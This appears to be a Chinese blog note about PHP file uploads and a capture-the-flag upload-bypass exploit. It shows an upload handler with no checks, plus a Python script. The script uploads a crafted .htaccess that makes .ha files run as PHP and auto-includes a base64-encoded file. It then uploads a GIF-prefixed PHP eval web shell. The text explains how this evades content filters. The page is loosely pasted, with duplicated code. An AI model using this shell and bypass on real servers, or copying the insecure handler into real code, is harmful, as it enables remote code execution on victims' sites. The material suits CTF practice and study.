1.PHP代码实现文件上传(开发)
upload.php
<meta charset="utf-8">
<body>
<h1>上传文件</h1>
<form action='process.php' method="post" enctype="multipart/form-data">
请选择文件:<input type="file" name="file" />
<input type = "submit" value="submit"/>
</form>
</body>
process.php
先测试一下。
<meta charset="utf-8">
<?php
#var_dump($_FILES);
tmp_name就是临时文件的存储目录。
<meta charset="utf-8">
<?php
#var_dump($_FILES);
#获取到临时对象
$file=$_FILES['file'];
#获取文件名
$filename = $file['name'];
#移动文件到当前目录
![move_uploaded_file($file\['tmp_name'\],"./uploads/".$filename);](https://img-blog.csdnimg.cn/20210313234440968.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1plcm9fQWRhbQ==,size_16,color_FFFFFF,t_70)
//回显文件
echo "<img src='$filename'>";
实现了最简单的功能,没有任何检查验证的东西。
move_uploaded_file($file['tmp_name'],"./uploads/".$filename);
在当前目录下,的uploads目录下,然后传入一个同名的文件,都是路径,可以是绝对路径也可以是相对路径,
参考自:脚本之家
2.python的requets实现文件上传+图片上传
import requests
import base64
url = 'http://da2913e8-53cb-46eb-a970-bfa841b0fd45.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag'
url='http://localhost/process.php'
htaccess=b'''#define width 1337
#define height 1337
AddType application/x-httpd-php .ha
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_f03a33ddb372f7596322825d8be2c0cf/shell.ha"'''
files = {
'file' : ('.htaccess',htaccess,'image/jpeg'),}
# 上传图片的时候,字段名不一样,rb:以二进制形式打开,
#files = { 'img':("picture.jpg",open("sheel.jpg",'rb') , 'image/jpeg',{"其他参数,可省略"})}
res = requests.post(url=url,files=files)
print(res.text)
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_POST['shell']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['shell']);?>")
files2 = {
'file' : ('shell.ha',shell,'image/jpeg'),
}
res = requests.post(url=url,files=files2)
print(res.text)
为什么这样写呢?
比如他会对上传的文件 进行内容检查,如果含有某一些关键词的话,就不允许上传,
比如我们上传的PHP的马 有 <? 这样的字段,当然我们可以用 <script language="php">,</script>
这样的方式来绕过。但是PHP7以上就移除整个功能了,
那么PHP7以上的时候我们就没有办法了马?
不是,我们可以像这样,就是先用base64的方法写一个加密之后的马,然后用.htaccess解析整个PHP文件,然后自动pretend整个文件,就完成了 .htaccess的一句话包含
然后发现能够当作一句话,成功了,
1. 单纯上传文件内容。
这是处理文件的PHP文件
process.php
<meta charset="utf-8">
<?php
#var_dump($_FILES);
#获取到临时对象
$file=$_FILES['file'];
#获取文件名
$filename = $file['name'];
#移动文件到当前目录
move_uploaded_file($file['tmp_name'],"./uploads/".$filename);
//回显文件
echo "<img src='$filename'>";
然后python脚本进行访问:
import requests
url ="http://localhost/process.php"
file = [('file',("a.php","sdf"))]
res = requests.post(url=url,files=file)
列表样式,里面是 括号, 左边是 类型名,然后是文件名,再试文件内容。
这篇文章说的就是python上传文件。
https://www.cnblogs.com/tr1ple/p/11301743.html